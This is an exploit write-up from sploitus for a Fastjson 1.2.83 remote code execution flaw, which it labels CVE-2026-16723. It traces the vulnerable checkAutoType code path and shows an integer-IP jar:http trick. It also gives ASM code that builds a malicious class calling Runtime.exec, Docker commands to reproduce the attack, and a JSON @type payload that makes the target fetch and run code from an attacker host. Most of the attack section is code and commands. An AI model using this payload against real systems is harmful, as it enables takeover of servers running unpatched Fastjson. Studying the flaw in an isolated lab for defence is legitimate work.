## https://sploitus.com/exploit?id=7E4B0702-42C0-5722-8769-A9442A9C4ADB
**Disclaimer:** This project is intended only for secure research and learning in authorized environments. Testing is prohibited on unauthorized systems, and the consequences of use are the responsibility of the user.
# Fastjson 1.2.83 Remote Code Execution Vulnerability Analysis (CVE-2026-16723)
**CVSS 9.0**, affecting Fastjson versions 1.2.68 to 1.2.83. No need to enable AutoType, no need for third-party gadgets; the vulnerability can be exploited with default configurations.
## I. Overview of the Vulnerability Mechanism
The entry point of the vulnerability is in `com.alibaba.fastjson.parser.ParserConfig.checkAutoType`. Whether itβs called `JSON.parse(body)` or `JSON.parseObject(body, Foo.class)`, the method will eventually be called. Key code snippet (Fastjson 1.2.83):
```java
public Class checkAutoType(String typeName, Class expectClass, int features) {
// β Blocklist/allowlist check β skipped when autoTypeSupport is false
if (autoTypeSupport || expectClassFlag) { ... }
// β‘ @JSONType annotation detection β executed regardless of conditions
boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception e) { /* Silently ignored */ }
finally { IOUtils.close(is); }
// β’ Class loading
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
// β£ Short-circuit return β all subsequent checks are skipped when jsonType is true
if (clazz != null) {
if (jsonType) {
return clazz;
}
// DenyList check, hardcoded interception, isAssignableFrom... }
}
}
```
The AutoType switch (`autoTypeSupport`) only controls whether step β is executed. However, step β‘ annotation detection is executed regardless of conditions. Once `jsonType` becomes `true`, steps β’ class loading and β£ security checks are skipped.
## II. Analysis of the Attack Path
### 2.1 `typeName β resource`
```java
String resource = typeName.replace('.', '/') + ".class";
```
`typeName` is the value of `@type` in JSON. Attackers have full control over this. The intention is to convert `com.example.Foo` to `com/example/Foo.class`. But when the input is a URL, it becomes a URL constructor. Since the `.` in the hostname is also replaced, attackers can bypass this by using an integer IP address. For example, `127.0.0.1` as a 32-bit unsigned integer is `2130706433`:
```
Input: jar:http:2130706433:8000.probe!.EvilPayload
β replace('.', '/')
Output: jar:http:2130706433:8000/probe!
```
/EvilPayload.class
`..` β `//`, `.probe!` β `/probe!/`, resulting in a valid resource location like βjar:http:β.
### 2.2 getResourceAsStream
```java
is = defaultClassLoader.getResourceAsStream(resource);
```
Whether `getResourceAsStream` can parse βjar:http:β as a remote resource depends entirely on the ClassLoader type:
| ClassLoader | Behavior |
| JDK `AppClassLoader` | Only searches the local classpath β null |
| Tomcat `WebappClassLoader` (independent WAR) | Only searches `WEB-INF/lib` β null |
| Spring Boot `LaunchedURLClassLoader` (fat-JAR) | Supports βjar:http:β β retrieves bytecode via HTTP |
One confusing point is that when Spring Boot uses Tomcat, the ClassLoader for the application class is `LaunchedURLClassLoader`, **not** `WebappClassLoader`. Therefore, using Tomcat/Jetty/Undertow is also affected. When `is != null`, the attackerβs remote class bytecode enters the JVM memory. In this lab, we manually set the ClassLoader of the current thread to `LaunchedURLClassLoader` using `Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader())`, allowing `getResourceAsStream` to handle βjar:http:β protocols. In real environments, whether `LaunchedURLClassLoader` loads `ParserConfig` depends on the position of fastjson in the dependency tree, which explains why the same Spring Boot fat-JAR may have different impacts.
### 2.3 ASM Probes
```java
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
```
Fastjson uses ASM to scan the bytecode and check if it contains the `@com.alibaba.fastjson.annotation.JSONType` annotation. The purpose is performance optimizationβquickly identifying types managed by Fastjson through annotations. However, only an existence of the annotation is checked; the source of the bytecode isnβt verified, nor are class names or sources restricted. Any attackerβs remote class that includes `@JSONType` will receive a `jsonType=true` determination. Note that `catch (Exception e) {}` is emptyβthe attacker wonβt receive any errors.
> **π To be added**: Screenshot after `visitor.hasJsonType()` returns the value of `jsonType`.
### 2.4 loadClass
```java
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
```
`jsonType=true` meets the condition. `loadClass` follows the standard class loading process, registering the bytecode as a JVM Class object via `defineClass`. Itβs important to distinguish between two concepts: `defineClass` registers the class itself in the JVM, while the other operation happens during class initialization. Both processes may occur within the same request, but they are independent according to JVM specificationsβyou canβt simply say that `defineClass` executes the code directly.
### 2.5 return clazz
```java
if (jsonType) {
return clazz;
}
```
This line bypasses all subsequent defenses:
- Hardcoded interceptions for `ClassLoader`, `DataSource`, `RowSet`
- Blacklists like `denyList`
- Type checks like `expectClass.isAssignableFrom(clazz)`
This also explains why `parseObject(body, Dto.class)` doesnβt work: Type binding checks happen after class loading, while the attackerβs code is executed during class loading.
## III. Payload Construction
The attacker needs to generate a bytecode file that meets three conditions: it must contain the `@JSONType` annotation, contain attack code within it, and be hosted via HTTP. ```java
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_6, Opcodes.ACC_PUBLIC,
"EvilPayload", null, "java/lang/Object", null);
// Pass through ASM probes
cw.visitAnnotation(
"Lcom/alibaba/fastjson/annotation/JSONType;", true
).visitEnd();
// Execute the command
MethodVisitor mv = cw.visitMethod(Opcodes.ACC_STATIC,
"", "()V", null, null);
mv.visitCode();
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
"java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitLdcInsn(cmd);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Runtime", "exec",
"(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(Opcodes.RETURN);
// Package the class
JarOutputStream jos = new JarOutputStream(new FileOutputStream(outPath));
jos.putNextEntry(new JarEntry("EvilPayload.class"));
jos.write(cw.toByteArray());
```
This implementation does not include any blacklisted classes, JNDI, or third-party dependencies. The malicious logic is purely triggered through the class loading mechanismβthe class is loaded and executed immediately. ---
## IV. Reproduction using Docker
### 4.1 Environment Architecture
Two containers communicate via Dockerβs internal network:
```
βββββββββββββββββββββββββββββββββββββββββββββββ
β labnet (bridge) β
β β
β ββββββββββββββββ ββββββββββββββββββββ β
β β fj-attacker β β fj-target β β
β β Port 8000 β β Port 18080 β β
β β β β β β
β β Gen.java β β Fastjson 1.2.83 β β
β β β probe.jar βββββββββ Spring Boot 2.7 β β
β β HTTP Server β β JDK 8 β β
β ββββββββββββββββ ββββββββββββββββββββ β
βββββββββββββββββββββββββββββββββββββββββββββββ
```
### 4.2 Starting and Verifying
```bash
docker compose up -d --build
# Confirm the targetβs status
curl http://127.0.0.1:18080/status
# Send the payload
python3 exploit.py
# Verify command execution
docker compose exec target ls -la /tmp/pwned
> **π To be added**: A screenshot of `ls -la /tmp/pwned` showing that the command was successfully executed inside the target container. ```
### 4.3 JSON Payload
```json
{"@type": "jar:http://attacker:8000/probe.jar!/EvilPayload"}
```
[source-iocs-preserved url=http://2130706433:8000/probe!/EvilPayload.class,http://`]